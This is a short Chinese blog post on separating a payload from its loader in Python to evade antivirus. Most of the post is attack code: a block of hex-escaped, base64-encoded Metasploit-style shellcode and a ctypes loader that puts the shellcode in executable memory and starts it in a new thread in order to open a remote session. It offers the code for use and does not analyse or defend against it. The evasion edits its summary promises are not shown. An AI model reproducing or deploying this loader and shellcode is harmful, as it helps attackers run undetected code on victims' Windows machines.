Python实现Payload分离与免杀技术解析

橘子海

发布时间：2026-10-14 | 4人浏览过

原创

本文介绍利用Python实现Payload分离以绕过杀毒软件检测的技术方案。通过MSF生成Shellcode并去除引号，结合ctypes库在内存中动态分配可执行页面并转移数据，最终创建线程执行。尽管基础代码易被查杀，但通过针对性修改关键行可有效绕过检测，实现Session建立。

Payload分离与免杀技术概述

编译为EXE文件存在一个显著缺点：

生成的可执行文件体积往往过大。

具体实现步骤如下：

Shellcode生成与处理

首先使用MSF生成Shellcode代码：

复制生成的Payload，并去除其中的引号。


\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x63\x42
\x6b\x69\x31\x41\x77\x69\x31\x49\x4d\x69\x31\x49\x55\x69\x33
\x49\x6f\x44\x37\x64\x4b\x4a\x6a\x48\x2f\x72\x44\x78\x68\x66
\x41\x49\x73\x49\x4d\x48\x50\x44\x51\x48\x48\x34\x76\x4a\x53
\x56\x34\x74\x53\x45\x49\x74\x4b\x50\x49\x74\x4d\x45\x58\x6a
\x6a\x53\x41\x48\x52\x55\x59\x74\x5a\x49\x41\x48\x54\x69\x30
\x6b\x59\x34\x7a\x70\x4a\x69\x7a\x53\x4c\x41\x64\x59\x78\x2f
\x36\x7a\x42\x7a\x77\x30\x42\x78\x7a\x6a\x67\x64\x66\x59\x44
\x66\x66\x67\x37\x66\x53\x52\x31\x35\x46\x69\x4c\x57\x43\x51
\x42\x30\x32\x61\x4c\x44\x45\x75\x4c\x57\x42\x77\x42\x30\x34
\x73\x45\x69\x77\x48\x51\x69\x55\x51\x6b\x4a\x46\x74\x62\x59
\x56\x6c\x61\x55\x66\x2f\x67\x58\x31\x39\x61\x69\x78\x4c\x72
\x6a\x56\x31\x6f\x4d\x7a\x49\x41\x41\x47\x68\x33\x63\x7a\x4a
\x66\x56\x47\x68\x4d\x64\x79\x59\x48\x69\x65\x6a\x2f\x30\x4c
\x69\x51\x41\x51\x41\x41\x4b\x63\x52\x55\x55\x47\x67\x70\x67
\x47\x73\x41\x2f\x39\x56\x71\x43\x6d\x6a\x41\x71\x41\x4d\x38
\x61\x41\x49\x41\x44\x51\x57\x4a\x35\x6c\x42\x51\x55\x46\x42
\x41\x55\x45\x42\x51\x61\x4f\x6f\x50\x33\x2b\x44\x2f\x31\x5a
\x64\x71\x45\x46\x5a\x58\x61\x4a\x6d\x6c\x64\x47\x48\x2f\x31
\x59\x58\x41\x64\x41\x72\x2f\x54\x67\x68\x31\x37\x4f\x68\x6e
\x41\x41\x41\x41\x61\x67\x42\x71\x42\x46\x5a\x58\x61\x41\x4c
\x5a\x79\x46\x2f\x2f\x31\x59\x50\x34\x41\x48\x34\x32\x69\x7a
\x5a\x71\x51\x47\x67\x41\x45\x41\x41\x41\x56\x6d\x6f\x41\x61
\x46\x69\x6b\x55\x2b\x58\x2f\x31\x5a\x4e\x54\x61\x67\x42\x57
\x55\x31\x64\x6f\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67
\x41\x66\x53\x68\x59\x61\x41\x42\x41\x41\x41\x42\x71\x41\x46
\x42\x6f\x43\x79\x38\x50\x4d\x50\x2f\x56\x56\x32\x68\x31\x62
\x6b\x31\x68\x2f\x39\x56\x65\x58\x76\x38\x4d\x4a\x41\x2b\x46
\x63\x50\x2f\x2f\x2f\x2b\x6d\x62\x2f\x2f\x2f\x2f\x41\x63\x4d
\x70\x78\x6e\x58\x42\x77\x37\x76\x77\x74\x61\x4a\x57\x61\x67
\x42\x54\x2f\x39\x55\x3d

Python内存执行实现

将处理后的代码填入第3行的shell_code位置。


import ctypes,base64
 
encode_shellcode = "shell_code"
shellcode = base64.b64decode(encode_shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)